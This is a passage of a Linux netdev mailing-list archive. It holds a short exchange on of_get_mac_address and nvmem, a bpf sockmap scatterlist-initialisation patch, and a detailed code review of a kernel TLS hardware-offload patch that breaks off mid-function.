>>> a memcpy (or similar) right after it, so for these drivers the
>>> "of_get_nvmem_mac_address" style signature that performs the memcpy (or
>>> better, ether_addr_copy) is a better fit, e.g.:
>>>
>>> int of_get_mac_address(struct device_node *np, void *addr)
>>
>> Hi Mike
>>
>> This is a nicer solution, but it is quite a lot of work, there are a
>> lot of users. Maybe Coccinelle can help?
>
> About 58 of them, yeah. And this looked like such a simple thing when I
> started it...
> https://elixir.bootlin.com/linux/v4.16-rc6/ident/of_get_mac_address
> I have no experience with Coccinelle though.
>
I'll at least post a v2 patch with what we've discussed so far.
Another thing that just occurred to me is that the nvmem interface would also
allow a MAC address to be written to NV storage. Haven't looked at that path,
but it would be nice to be able to permanently program the MAC address using
standard interfaces.
Kind regards,
Mike Looijmans
System Expert
TOPIC Products
Materiaalweg 4, NL-5681 RJ Best
Postbus 440, NL-5680 AK Best
Telefoon: +31 (0) 499 33 69 79
E-mail: mike.looijmans@topicproducts.com
Website: www.topicproducts.com
Please consider the environment before printing this e-mail
^ permalink raw reply
* [PATCH bpf-next] bpf: sockmap: initialize sg table entries properly
From: Prashant Bhole @ 2018-03-26 6:54 UTC (permalink / raw)
To: Daniel Borkmann, Alexei Starovoitov, David S . Miller
Cc: Prashant Bhole, John Fastabend, netdev
When CONFIG_DEBUG_SG is set, sg->sg_magic is initialized to SG_MAGIC,
when sg table is initialized using sg_init_table(). Magic is checked
while navigating the scatterlist. We hit BUG_ON when magic check is
failed.
Fixed following things:
- Initialization of sg table in bpf_tcp_sendpage() was missing,
initialized it using sg_init_table()
- bpf_tcp_sendmsg() initializes sg table using sg_init_table() before
entering the loop, but further consumed sg entries are initialized
using memset. Fixed it by replacing memset with sg_init_table() in
function bpf_tcp_push()
Signed-off-by: Prashant Bhole <bhole_prashant_q7@lab.ntt.co.jp>
---
kernel/bpf/sockmap.c | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
diff --git a/kernel/bpf/sockmap.c b/kernel/bpf/sockmap.c
index 69c5bccabd22..8a848a99d768 100644
--- a/kernel/bpf/sockmap.c
+++ b/kernel/bpf/sockmap.c
@@ -312,7 +312,7 @@ static int bpf_tcp_push(struct sock *sk, int apply_bytes,
md->sg_start++;
if (md->sg_start == MAX_SKB_FRAGS)
md->sg_start = 0;
- memset(sg, 0, sizeof(*sg));
+ sg_init_table(sg, 1);
if (md->sg_start == md->sg_end)
break;
@@ -763,10 +763,14 @@ static int bpf_tcp_sendpage(struct sock *sk, struct page *page,
lock_sock(sk);
- if (psock->cork_bytes)
+ if (psock->cork_bytes) {
m = psock->cork;
- else
+ sg = &m->sg_data[m->sg_end];
+ } else {
m = &md;
+ sg = m->sg_data;
+ sg_init_table(sg, MAX_SKB_FRAGS);
+ }
/* Catch case where ring is full and sendpage is stalled. */
if (unlikely(m->sg_end == m->sg_start &&
@@ -774,7 +778,6 @@ static int bpf_tcp_sendpage(struct sock *sk, struct page *page,
goto out_err;
psock->sg_size += size;
- sg = &m->sg_data[m->sg_end];
sg_set_page(sg, page, size, offset);
get_page(page);
m->sg_copy[m->sg_end] = true;
--
2.14.3
^ permalink raw reply related
* Re: [PATCH V3 net-next 06/14] net/tls: Add generic NIC offload infrastructure
From: Boris Pismenny @ 2018-03-26 7:10 UTC (permalink / raw)
To: Shannon Nelson, Saeed Mahameed, David S. Miller
Cc: netdev, Dave Watson, Ilya Lesokhin, Aviad Yehezkel
In-Reply-To: <c7769f3e-b19c-0e48-7245-c6dd46ecad49@oracle.com>
Hi Shannon,
On 3/23/2018 11:21 PM, Shannon Nelson wrote:
> On 3/22/2018 3:33 PM, Saeed Mahameed wrote:
>> From: Ilya Lesokhin <ilyal@mellanox.com>
>>
>> This patch adds a generic infrastructure to offload TLS crypto to a
>> network devices. It enables the kernel TLS socket to skip encryption
>
> s/devices/device/
>
>> and authentication operations on the transmit side of the data path.
>> Leaving those computationally expensive operations to the NIC.
>>
>> The NIC offload infrastructure builds TLS records and pushes them to
>> the TCP layer just like the SW KTLS implementation and using the same
>> API.
>> TCP segmentation is mostly unaffected. Currently the only exception is
>> that we prevent mixed SKBs where only part of the payload requires
>> offload. In the future we are likely to add a similar restriction
>> following a change cipher spec record.
>>
>> The notable differences between SW KTLS and NIC offloaded TLS
>> implementations are as follows:
>> 1. The offloaded implementation builds "plaintext TLS record", those
>> records contain plaintext instead of ciphertext and place holder bytes
>> instead of authentication tags.
>> 2. The offloaded implementation maintains a mapping from TCP sequence
>> number to TLS records. Thus given a TCP SKB sent from a NIC offloaded
>> TLS socket, we can use the tls NIC offload infrastructure to obtain
>> enough context to encrypt the payload of the SKB.
>> A TLS record is released when the last byte of the record is ack'ed,
>> this is done through the new icsk_clean_acked callback.
>>
>> The infrastructure should be extendable to support various NIC offload
>> implementations. However it is currently written with the
>> implementation below in mind:
>> The NIC assumes that packets from each offloaded stream are sent as
>> plaintext and in-order. It keeps track of the TLS records in the TCP
>> stream. When a packet marked for offload is transmitted, the NIC
>> encrypts the payload in-place and puts authentication tags in the
>> relevant place holders.
>>
>> The responsibility for handling out-of-order packets (i.e. TCP
>> retransmission, qdisc drops) falls on the netdev driver.
>>
>> The netdev driver keeps track of the expected TCP SN from the NIC's
>> perspective. If the next packet to transmit matches the expected TCP
>> SN, the driver advances the expected TCP SN, and transmits the packet
>> with TLS offload indication.
>>
>> If the next packet to transmit does not match the expected TCP SN. The
>> driver calls the TLS layer to obtain the TLS record that includes the
>> TCP of the packet for transmission. Using this TLS record, the driver
>> posts a work entry on the transmit queue to reconstruct the NIC TLS
>> state required for the offload of the out-of-order packet. It updates
>> the expected TCP SN accordingly and transmit the now in-order packet.
>
> s/transmit/transmits/
>
>> The same queue is used for packet transmission and TLS context
>> reconstruction to avoid the need for flushing the transmit queue before
>> issuing the context reconstruction request.
>>
>> Signed-off-by: Ilya Lesokhin <ilyal@mellanox.com>
>> Signed-off-by: Boris Pismenny <borisp@mellanox.com>
>> Signed-off-by: Aviad Yehezkel <aviadye@mellanox.com>
>> Signed-off-by: Saeed Mahameed <saeedm@mellanox.com>
>> ---
>> include/net/tls.h | 73 +++-
>> net/tls/Kconfig | 10 +
>> net/tls/Makefile | 2 +
>> net/tls/tls_device.c | 756
>> ++++++++++++++++++++++++++++++++++++++++++
>> net/tls/tls_device_fallback.c | 412 +++++++++++++++++++++++
>> net/tls/tls_main.c | 33 +-
>> 6 files changed, 1279 insertions(+), 7 deletions(-)
>> create mode 100644 net/tls/tls_device.c
>> create mode 100644 net/tls/tls_device_fallback.c
>>
>> diff --git a/include/net/tls.h b/include/net/tls.h
>> index 4913430ab807..4f6a6f98d62b 100644
>> --- a/include/net/tls.h
>> +++ b/include/net/tls.h
>> @@ -77,6 +77,37 @@ struct tls_sw_context {
>> struct scatterlist sg_aead_out[2];
>> };
>> +struct tls_record_info {
>> + struct list_head list;
>> + u32 end_seq;
>> + int len;
>> + int num_frags;
>> + skb_frag_t frags[MAX_SKB_FRAGS];
>> +};
>> +
>> +struct tls_offload_context {
>> + struct crypto_aead *aead_send;
>> + spinlock_t lock; /* protects records list */
>> + struct list_head records_list;
>> + struct tls_record_info *open_record;
>> + struct tls_record_info *retransmit_hint;
>> + u64 hint_record_sn;
>> + u64 unacked_record_sn;
>> +
>> + struct scatterlist sg_tx_data[MAX_SKB_FRAGS];
>> + void (*sk_destruct)(struct sock *sk);
>> + u8 driver_state[];
>> + /* The TLS layer reserves room for driver specific state
>> + * Currently the belief is that there is not enough
>> + * driver specific state to justify another layer of indirection
>> + */
>> +#define TLS_DRIVER_STATE_SIZE (max_t(size_t, 8, sizeof(void *)))
>> +};
>> +
>> +#define
>> TLS_OFFLOAD_CONTEXT_SIZE \
>> + (ALIGN(sizeof(struct tls_offload_context), sizeof(void *))
>> + \
>> + TLS_DRIVER_STATE_SIZE)
>> +
>> enum {
>> TLS_PENDING_CLOSED_RECORD
>> };
>> @@ -87,6 +118,10 @@ struct tls_context {
>> struct tls12_crypto_info_aes_gcm_128 crypto_send_aes_gcm_128;
>> };
>> + struct list_head list;
>> + struct net_device *netdev;
>> + refcount_t refcount;
>> +
>> void *priv_ctx;
>> u8 tx_conf:2;
>> @@ -131,9 +166,28 @@ int tls_sw_sendpage(struct sock *sk, struct page
>> *page,
>> void tls_sw_close(struct sock *sk, long timeout);
>> void tls_sw_free_tx_resources(struct sock *sk);
>> -void tls_sk_destruct(struct sock *sk, struct tls_context *ctx);
>> -void tls_icsk_clean_acked(struct sock *sk);
>> +int tls_set_device_offload(struct sock *sk, struct tls_context *ctx);
>> +int tls_device_sendmsg(struct sock *sk, struct msghdr *msg, size_t
>> size);
>> +int tls_device_sendpage(struct sock *sk, struct page *page,
>> + int offset, size_t size, int flags);
>> +void tls_device_sk_destruct(struct sock *sk);
>> +void tls_device_init(void);
>> +void tls_device_cleanup(void);
>> +
>> +struct tls_record_info *tls_get_record(struct tls_offload_context
>> *context,
>> + u32 seq, u64 *p_record_sn);
>> +
>> +static inline bool tls_record_is_start_marker(struct tls_record_info
>> *rec)
>> +{
>> + return rec->len == 0;
>> +}
>> +
>> +static inline u32 tls_record_start_seq(struct tls_record_info *rec)
>> +{
>> + return rec->end_seq - rec->len;
>> +}
>> +void tls_sk_destruct(struct sock *sk, struct tls_context *ctx);
>> int tls_push_sg(struct sock *sk, struct tls_context *ctx,
>> struct scatterlist *sg, u16 first_offset,
>> int flags);
>> @@ -170,6 +224,13 @@ static inline bool
>> tls_is_pending_open_record(struct tls_context *tls_ctx)
>> return tls_ctx->pending_open_record_frags;
>> }
>> +static inline bool tls_is_sk_tx_device_offloaded(struct sock *sk)
>> +{
>> + return sk_fullsock(sk) &&
>> + /* matches smp_store_release in tls_set_device_offload */
>> + smp_load_acquire(&sk->sk_destruct) ==
>> &tls_device_sk_destruct;
>> +}
>> +
>> static inline void tls_err_abort(struct sock *sk)
>> {
>> sk->sk_err = EBADMSG;
>> @@ -257,4 +318,12 @@ static inline struct tls_offload_context
>> *tls_offload_ctx(
>> int tls_proccess_cmsg(struct sock *sk, struct msghdr *msg,
>> unsigned char *record_type);
>> +struct sk_buff *tls_validate_xmit_skb(struct sock *sk,
>> + struct net_device *dev,
>> + struct sk_buff *skb);
>> +
>> +int tls_sw_fallback_init(struct sock *sk,
>> + struct tls_offload_context *offload_ctx,
>> + struct tls_crypto_info *crypto_info);
>> +
>> #endif /* _TLS_OFFLOAD_H */
>> diff --git a/net/tls/Kconfig b/net/tls/Kconfig
>> index eb583038c67e..9d3ef820bb16 100644
>> --- a/net/tls/Kconfig
>> +++ b/net/tls/Kconfig
>> @@ -13,3 +13,13 @@ config TLS
>> encryption handling of the TLS protocol to be done in-kernel.
>> If unsure, say N.
>> +
>> +config TLS_DEVICE
>> + bool "Transport Layer Security HW offload"
>> + depends on TLS
>> + select SOCK_VALIDATE_XMIT
>> + default n
>> + ---help---
>> + Enable kernel support for HW offload of the TLS protocol.
>> +
>> + If unsure, say N.
>> diff --git a/net/tls/Makefile b/net/tls/Makefile
>> index a930fd1c4f7b..4d6b728a67d0 100644
>> --- a/net/tls/Makefile
>> +++ b/net/tls/Makefile
>> @@ -5,3 +5,5 @@
>> obj-$(CONFIG_TLS) += tls.o
>> tls-y := tls_main.o tls_sw.o
>> +
>> +tls-$(CONFIG_TLS_DEVICE) += tls_device.o tls_device_fallback.o
>> diff --git a/net/tls/tls_device.c b/net/tls/tls_device.c
>> new file mode 100644
>> index 000000000000..34555ac0b959
>> --- /dev/null
>> +++ b/net/tls/tls_device.c
>> @@ -0,0 +1,756 @@
>> +/* Copyright (c) 2018, Mellanox Technologies All rights reserved.
>
> Maybe add the appropriate SPDX tag to the top of this new file?
>
Let's do it in a single patch for all net/tls/*
>> + *
>> + * This software is available to you under a choice of one of two
>> + * licenses. You may choose to be licensed under the terms of the GNU
>> + * General Public License (GPL) Version 2, available from the file
>> + * COPYING in the main directory of this source tree, or the
>> + * OpenIB.org BSD license below:
>> + *
>> + * Redistribution and use in source and binary forms, with or
>> + * without modification, are permitted provided that the following
>> + * conditions are met:
>> + *
>> + * - Redistributions of source code must retain the above
>> + * copyright notice, this list of conditions and the following
>> + * disclaimer.
>> + *
>> + * - Redistributions in binary form must reproduce the above
>> + * copyright notice, this list of conditions and the following
>> + * disclaimer in the documentation and/or other materials
>> + * provided with the distribution.
>> + *
>> + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
>> + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
>> + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
>> + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
>> + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
>> + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
>> + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
>> + * SOFTWARE.
>> + */
>> +
>> +#include <linux/module.h>
>> +#include <net/tcp.h>
>> +#include <net/inet_common.h>
>> +#include <linux/highmem.h>
>> +#include <linux/netdevice.h>
>> +
>> +#include <net/tls.h>
>> +#include <crypto/aead.h>
>> +
>> +/* device_offload_lock is used to synchronize tls_dev_add
>> + * against NETDEV_DOWN notifications.
>> + */
>> +static DECLARE_RWSEM(device_offload_lock);
>> +
>> +static void tls_device_gc_task(struct work_struct *work);
>> +
>> +static DECLARE_WORK(tls_device_gc_work, tls_device_gc_task);
>> +static LIST_HEAD(tls_device_gc_list);
>> +static LIST_HEAD(tls_device_list);
>> +static DEFINE_SPINLOCK(tls_device_lock);
>> +
>> +static void tls_device_free_ctx(struct tls_context *ctx)
>> +{
>> + struct tls_offload_context *offlad_ctx = tls_offload_ctx(ctx);
>> +
>> + kfree(offlad_ctx);
>
> Don't misspell a variable name, please either use something like
> offload_ctx or shortened to olc.
>
Sure.
>> + kfree(ctx);
>> +}
>> +
>> +static void tls_device_gc_task(struct work_struct *work)
>> +{
>> + struct tls_context *ctx, *tmp;
>> + unsigned long flags;
>> + LIST_HEAD(gc_list);
>> +
>> +
>
> Drop the extra blank line
>
Sure.
>> + spin_lock_irqsave(&tls_device_lock, flags);
>> + list_splice_init(&tls_device_gc_list, &gc_list);
>> + spin_unlock_irqrestore(&tls_device_lock, flags);
>> +
>> + list_for_each_entry_safe(ctx, tmp, &gc_list, list) {
>> + struct net_device *netdev = ctx->netdev;
>> +
>> + if (netdev) {
>> + netdev->tlsdev_ops->tls_dev_del(netdev, ctx,
>> + TLS_OFFLOAD_CTX_DIR_TX);
>
> Perhaps it will be clear in later code, but are you guaranteed there are
> good ops and function pointers here, or should there be a check like in
> many API calls like this? Maybe
> if (netdev) {
> if (netdev->tlsdev_ops &&
> netdev->tlsdev_ops->tls_dev_del)
>
>
We try to catch the bad API during the netdev FEAT_CHANGE/REGISTER events.
>> + dev_put(netdev);
>> + }
>> +
>> + list_del(&ctx->list);
>> + tls_device_free_ctx(ctx);
>> + }
>> +}
>> +
>> +static void tls_device_queue_ctx_destruction(struct tls_context *ctx)
>> +{
>> + unsigned long flags;
>> +
>> + spin_lock_irqsave(&tls_device_lock, flags);
>> + list_move_tail(&ctx->list, &tls_device_gc_list);
>> +
>> + /* schedule_work inside the spinlock
>> + * to make sure tls_device_down waits for that work.
>> + */
>> + schedule_work(&tls_device_gc_work);
>> +
>> + spin_unlock_irqrestore(&tls_device_lock, flags);
>> +}
>> +
>> +/* We assume that the socket is already connected */
>> +static struct net_device *get_netdev_for_sock(struct sock *sk)
>> +{
>> + struct inet_sock *inet = inet_sk(sk);
>> + struct net_device *netdev = NULL;
>
> This initialization is unnecessary;
>
>> +
>> + netdev = dev_get_by_index(sock_net(sk), inet->cork.fl.flowi_oif);
>> +
>> + return netdev;
>> +}
>> +
>> +static void destroy_record(struct tls_record_info *record)
>> +{
>> + int nr_frags = record->num_frags;
>> + skb_frag_t *frag;
>> +
>> + while (nr_frags-- > 0) {
>> + frag = &record->frags[nr_frags];
>> + __skb_frag_unref(frag);
>> + }
>> + kfree(record);
>> +}
>> +
>> +static void delete_all_records(struct tls_offload_context *offload_ctx)
>> +{
>> + struct tls_record_info *info, *temp;
>> +
>> + list_for_each_entry_safe(info, temp, &offload_ctx->records_list,
>> list) {
>> + list_del(&info->list);
>> + destroy_record(info);
>> + }
>> +
>> + offload_ctx->retransmit_hint = NULL;
>> +}
>> +
>> +static void tls_icsk_clean_acked(struct sock *sk, u32 acked_seq)
>> +{
>> + struct tls_context *tls_ctx = tls_get_ctx(sk);
>> + struct tls_record_info *info, *temp;
>> + struct tls_offload_context *ctx;
>> + u64 deleted_records = 0;
>> + unsigned long flags;
>> +
>> + if (!tls_ctx)
>> + return;
>> +
>> + ctx = tls_offload_ctx(tls_ctx);
>> +
>> + spin_lock_irqsave(&ctx->lock, flags);
>> + info = ctx->retransmit_hint;
>> + if (info && !before(acked_seq, info->end_seq)) {
>> + ctx->retransmit_hint = NULL;
>> + list_del(&info->list);
>> + destroy_record(info);
>> + deleted_records++;
>> + }
>> +
>> + list_for_each_entry_safe(info, temp, &ctx->records_list, list) {
>> + if (before(acked_seq, info->end_seq))
>> + break;
>> + list_del(&info->list);
>> +
>> + destroy_record(info);
>> + deleted_records++;
>> + }
>> +
>> + ctx->unacked_record_sn += deleted_records;
>> + spin_unlock_irqrestore(&ctx->lock, flags);
>> +}
>> +
>> +/* At this point, there should be no references on this
>> + * socket and no in-flight SKBs associated with this
>> + * socket, so it is safe to free all the resources.
>> + */
>> +void tls_device_sk_destruct(struct sock *sk)
>> +{
>> + struct tls_context *tls_ctx = tls_get_ctx(sk);
>> + struct tls_offload_context *ctx = tls_offload_ctx(tls_ctx);
>> +
>> + if (ctx->open_record)
>> + destroy_record(ctx->open_record);
>> +
>> + delete_all_records(ctx);
>> + crypto_free_aead(ctx->aead_send);
>> + ctx->sk_destruct(sk);
>> + static_branch_dec(&clean_acked_data_enabled);
>> +
>> + if (refcount_dec_and_test(&tls_ctx->refcount))
>> + tls_device_queue_ctx_destruction(tls_ctx);
>> +}
>> +EXPORT_SYMBOL(tls_device_sk_destruct);
>> +
>> +static inline void tls_append_frag(struct tls_record_info *record,
>
> I think Dave has already mentioned this, but you can drop all the
> "inline" tags.
>
I'll fix it for V4.
>> + struct page_frag *pfrag,
>> + int size)
>> +{
>> + skb_frag_t *frag;
>> +
>> + frag = &record->frags[record->num_frags - 1];
>> + if (frag->page.p == pfrag->page &&
>> + frag->page_offset + frag->size == pfrag->offset) {
>> + frag->size += size;
>> + } else {
>> + ++frag;
>
> Should this get checked against MAX_SKB_FRAGS to be sure we haven't gone
> off the end of the array?
>
No, the callers of this function guarantee that there are less than
MAX_SKB_FRAGS. Specifically, we push the record to TCP once there are
MAX_SKB_FRAGS - 1 frags.
>> + frag->page.p = pfrag->page;
>> + frag->page_offset = pfrag->offset;
>> + frag->size = size;
>> + ++record->num_frags;
>> + get_page(pfrag->page);
>> + }
>> +
>> + pfrag->offset += size;
>> + record->len += size;
>> +}
>> +
>> +static inline int tls_push_record(struct sock *sk,
>> + struct tls_context *ctx,
>> + struct tls_offload_context *offload_ctx,
>> + struct tls_record_info *record,
>> + struct page_frag *pfrag,
>> + int flags,
>> + unsigned char record_type)
>> +{
>> + struct tcp_sock *tp = tcp_sk(sk);
>> + struct page_frag dummy_tag_frag;
>> + skb_frag_t *frag;
>> + int i;
>> +
>> + /* fill prepand */
>
> s/prepand/prepend/
>
Fixed.
>> + frag = &record->frags[0];
>> + tls_fill_prepend(ctx,
>> + skb_frag_address(frag),
>> + record->len - ctx->prepend_size,
>> + record_type);
>> +
>> + /* HW doesn't care about the data in the tag, because it fills
>> it. */
>> + dummy_tag_frag.page = skb_frag_page(frag);
>> + dummy_tag_frag.offset = 0;
>> +
>> + tls_append_frag(record, &dummy_tag_frag, ctx->tag_size);
>> + record->end_seq = tp->write_seq + record->len;
>> + spin_lock_irq(&offload_ctx->lock);
>> + list_add_tail(&record->list, &offload_ctx->records_list);
>> + spin_unlock_irq(&offload_ctx->lock);
>> + offload_ctx->open_record = NULL;
>> + set_bit(TLS_PENDING_CLOSED_RECORD, &ctx->flags);
>> + tls_advance_record_sn(sk, ctx);
>> +
>> + for (i = 0; i < record->num_frags; i++) {
>> + frag = &record->frags[i];
>> + sg_unmark_end(&offload_ctx->sg_tx_data[i]);
>> + sg_set_page(&offload_ctx->sg_tx_data[i], skb_frag_page(frag),
>> + frag->size, frag->page_offset);
>> + sk_mem_charge(sk, frag->size);
>> + get_page(skb_frag_page(frag));
>> + }
>> + sg_mark_end(&offload_ctx->sg_tx_data[record->num_frags - 1]);
>> +
>> + /* all ready, send */
>> + return tls_push_sg(sk, ctx, offload_ctx->sg_tx_data, 0, flags);
>> +}
>> +
>> +static inline int tls_create_new_record(struct tls_offload_context
>> *offload_ctx,
>> + struct page_frag *pfrag,
>> + size_t prepend_size)
>> +{
>> + struct tls_record_info *record;
>> + skb_frag_t *frag;
>> +
>> + record = kmalloc(sizeof(*record), GFP_KERNEL);
>> + if (!record)
>> + return -ENOMEM;
>> +
>> + frag = &record->frags[0];
>> + __skb_frag_set_page(frag, pfrag->page);
>> + frag->page_offset = pfrag->offset;
>> + skb_frag_size_set(frag, prepend_size);
>> +
>> + get_page(pfrag->page);
>> + pfrag->offset += prepend_size;
>> +
>> + record->num_frags = 1;
>> + record->len = prepend_size;
>> + offload_ctx->open_record = record;
>> + return 0;
>> +}
>> +
>> +static inline int tls_do_allocation(struct sock *sk,
>> + struct tls_offload_context *offload_ctx,
>> + struct page_frag *pfrag,
>> + size_t prepend_size)
>> +{
>> + int ret;
>> +
>> + if (!offload_ctx->open_record) {
>> + if (unlikely(!skb_page_frag_refill(prepend_size, pfrag,
>> + sk->sk_allocation))) {
>> + sk->sk_prot->enter_memory_pressure(sk);
>> + sk_stream_moderate_sndbuf(sk);
>> + return -ENOMEM;
>> + }
>> +
>> + ret = tls_create_new_record(offload_ctx, pfrag, prepend_size);
>> + if (ret)
>> + return ret;
>> +
>> + if (pfrag->size > pfrag->offset)
>> + return 0;
>> + }
>> +
>> + if (!sk_page_frag_refill(sk, pfrag))
>> + return -ENOMEM;
>
> If a new record was created and then this fails, do you need to free the
> new record?
>
It is not necessary, because once a new record is created we set
offload_ctx->open_record, which is checked before trying to allocate a
new record.
Overall, we prefer not to free memory only to allocate it again once a
bit more memory is available.
>> +
>> + return 0;
>> +}
>> +
>> +static int tls_push_data(struct sock *sk,
>> + struct iov_iter *msg_iter,
>> + size_t size, int flags,
>> + unsigned char record_type)
>> +{
>> + struct tls_context *tls_ctx = tls_get_ctx(sk);
>> + struct tls_offload_context *ctx = tls_offload_ctx(tls_ctx);
>> + int tls_push_record_flags = flags | MSG_SENDPAGE_NOTLAST;
>> + int more = flags & (MSG_SENDPAGE_NOTLAST | MSG_MORE);
>> + struct tls_record_info *record = ctx->open_record;
>> + struct page_frag *pfrag;
>> + size_t orig_size = size;
>> + u32 max_open_record_len;
>> + int copy, rc = 0;
>> + bool done = false;
>> + long timeo;
>> +
>> + if (flags &
>> + ~(MSG_MORE | MSG_DONTWAIT | MSG_NOSIGNAL |
>> MSG_SENDPAGE_NOTLAST))
>> + return -ENOTSUPP;
>> +
>> + if (sk->sk_err)
>> + return -sk->sk_err;
>> +
>> + timeo = sock_sndtimeo(sk, flags & MSG_DONTWAIT);
>> + rc = tls_complete_pending_work(sk, tls_ctx, flags, &timeo);
>> + if (rc < 0)
>> + return rc;
>> +
>> + pfrag = sk_page_frag(sk);
>> +
>> + /* TLS_TLS_HEADER_SIZE is not counted as part of the TLS record, and
>
> s/TLS_TLS_HEADER_SIZE/TLS_HEADER_SIZE/
>
Fixed.
>> + * we need to leave room for an authentication tag.
>> + */
>> + max_open_record_len = TLS_MAX_PAYLOAD_SIZE +
>> + tls_ctx->prepend_size;
>> + do {
>> + if (tls_do_allocation(sk, ctx, pfrag,
>> + tls_ctx->prepend_size)) {
>
> So you do this block if tls_do_allocation() fails, right? This is not
> clear to the drive-by reader, it looks a bit like the opposite. I'd
> suggest something a little more obvious like
>
> rc = tls_do_allocation(sk, ctx, pfrag,
> tls_ctx->prepend_size)
> if (rc) {
>
>
Sure.
>> + rc = sk_stream_wait_memory(sk, &timeo);
>> + if (!rc)
>> + continue;
>> +
>> + record = ctx->open_record;
>> + if (!record)
>> + break;
>> +handle_error:
>> + if (record_type != TLS_RECORD_TYPE_DATA) {
>> + /* avoid sending partial
>> + * record with type !=
>> + * application_data
>> + */
>> + size = orig_size;
>> + destroy_record(record);
>> + ctx->open_record = NULL;
>> + } else if (record->len > tls_ctx->prepend_size) {
>> + goto last_record;
>> + }
>> +
>> + break;
>> + }
>> +
>> + record = ctx->open_record;
>> + copy = min_t(size_t, size, (pfrag->size - pfrag->offset));
>> + copy = min_t(size_t, copy, (max_open_record_len - record->len));
>> +
>> + if (copy_from_iter_nocache(page_address(pfrag->page) +
>> + pfrag->offset,
>> + copy, msg_iter) != copy) {
>> + rc = -EFAULT;
>> + goto handle_error;
>
> This jumping around begins to feel a bit convoluted - is there another
> way you can handle this?
>
It's somewhat complicated to move it, because the last record handling
logic must also be there inside the loop, and the error handling code
might be required to close a record. If you have an idea, patches are
welcome :)
>> + }
>> + tls_append_frag(record, pfrag, copy);
>> +
>> + size -= copy;
>> + if (!size) {
>> +last_record:
>> + tls_push_record_flags = flags;
>> + if (more) {
>> + tls_ctx->pending_open_record_frags =
>> + record->num_frags;
>> + break;
>> + }
>> +
>> + done = true;
>> + }
>> +
>> + if ((done) || record->len >= max_open_record_len ||
>
> parens around (done) are unnecessary
>
Fixed.
>> + (record->num_frags >= MAX_SKB_FRAGS - 1)) {
>> + rc = tls_push_record(sk,
>> + tls_ctx,
>> + ctx,
>> + record,
>> + pfrag,
>> + tls_push_record_flags,
>> + record_type);
>> + if (rc < 0)
>> + break;
>> + }
>> + } while (!done);
>> +
>> + if (orig_size - size > 0)
>> + rc = orig_size - size;
>
> If there was an error returned from tls_push_record(), will this
> overwrite the error rc code?
>
Yes, this is on purpose. We want to return the number of bytes
successfully sent before returning an error. See "do_error" and "out"
labels in tcp_sendmsg for similar semantics.
>> +
>> + return rc;
>> +}
>> +
>> +int tls_device_sendmsg(struct sock *sk, struct msghdr *msg, size_t size)
>> +{
>> + unsigned char record_type = TLS_RECORD_TYPE_DATA;
>> + int rc = 0;
>
> rc initialization unnecessary
>
Fixed.
>> +
>> + lock_sock(sk);
>> +
>> + if (unlikely(msg->msg_controllen)) {
>> + rc = tls_proccess_cmsg(sk, msg, &record_type);
>> + if (rc)
>> + goto out;
>> + }
>> +
>> + rc = tls_push_data(sk, &msg->msg_iter, size,
>> + msg->msg_flags, record_type);
>> +
>> +out:
>> + release_sock(sk);
>> + return rc;
>> +}
>> +
>> +int tls_device_sendpage(struct sock *sk, struct page *page,
>> + int offset, size_t size, int flags)
>> +{
>> + struct iov_iter msg_iter;
>> + char *kaddr = kmap(page);
>> + struct kvec iov;
>> + int rc = 0;
>
> rc initialization unnecessary
>
Fixed.
>> +
>> + if (flags & MSG_SENDPAGE_NOTLAST)
>> + flags |= MSG_MORE;
>> +
>> + lock_sock(sk);
>> +
>> + if (flags & MSG_OOB) {
>> + rc = -ENOTSUPP;
>> + goto out;
>> + }
>> +
>> + iov.iov_base = kaddr + offset;
>> + iov.iov_len = size;
>> + iov_iter_kvec(&msg_iter, WRITE | ITER_KVEC, &iov, 1, size);
>> + rc = tls_push_data(sk, &msg_iter, size,
>> + flags, TLS_RECORD_TYPE_DATA);
>> + kunmap(page);
>> +
>> +out:
>> + release_sock(sk);
>> + return rc;
>> +}
>> +
>> +struct tls_record_info *tls_get_record(struct tls_offload_context
>> *context,
>> + u32 seq, u64 *p_record_sn)
>> +{
>> + u64 record_sn = context->hint_record_sn;
>> + struct tls_record_info *info;
>> +
>> + info = context->retransmit_hint;
>> + if (!info ||
>> + before(seq, info->end_seq - info->len)) {
>> + /* if retransmit_hint is irrelevant start
>> + * from the begging of the list
>
> s/begging/beginning/
>
Fixed.
>> + */
>> + info = list_first_entry(&context->records_list,
>> + struct tls_record_info, list);
>> + record_sn = context->unacked_record_sn;
>> + }
>> +
>> + list_for_each_entry_from(info, &context->records_list, list) {
>> + if (before(seq, info->end_seq)) {
>> + if (!context->retransmit_hint ||
>> + after(info->end_seq,
>> + context->retransmit_hint->end_seq)) {
>> + context->hint_record_sn = record_sn;
>> + context->retransmit_hint = info;
>> + }
>> + *p_record_sn = record_sn;
>> + return info;
>> + }
>> + record_sn++;
>> + }
>> +
>> + return NULL;
>> +}
>> +EXPORT_SYMBOL(tls_get_record);
>> +
>> +static int tls_device_push_pending_record(struct sock *sk, int flags)
>> +{
>> + struct iov_iter msg_iter;
>> +
>> + iov_iter_kvec(&msg_iter, WRITE | ITER_KVEC, NULL, 0, 0);
>> + return tls_push_data(sk, &msg_iter, 0, flags, TLS_RECORD_TYPE_DATA);
>> +}
>> +
>> +int tls_set_device_offload(struct sock *sk, struct tls_context *ctx)
>> +{
>> + u16 nonece_size, tag_size, iv_size, rec_seq_size;
>
> s/nonece/nonce/
>
Fixed.
>> + struct tls_record_info *start_marker_record;
>> + struct tls_offload_context *offload_ctx;
>> + struct tls_crypto_info *crypto_info;
>> + struct net_device *netdev;
>> + char *iv, *rec_seq;
>> + struct sk_buff *skb;
>> + int rc = -EINVAL;
>> + __be64 rcd_sn;
>> +
>> + if (!ctx)
>> + goto out;
>> +
>> + if (ctx->priv_ctx) {
>> + rc = -EEXIST;
>> + goto out;
>> + }
>> +
>> + start_marker_record = kmalloc(sizeof(*start_marker_record),
>> GFP_KERNEL);
>> + if (!start_marker_record) {
>> + rc = -ENOMEM;
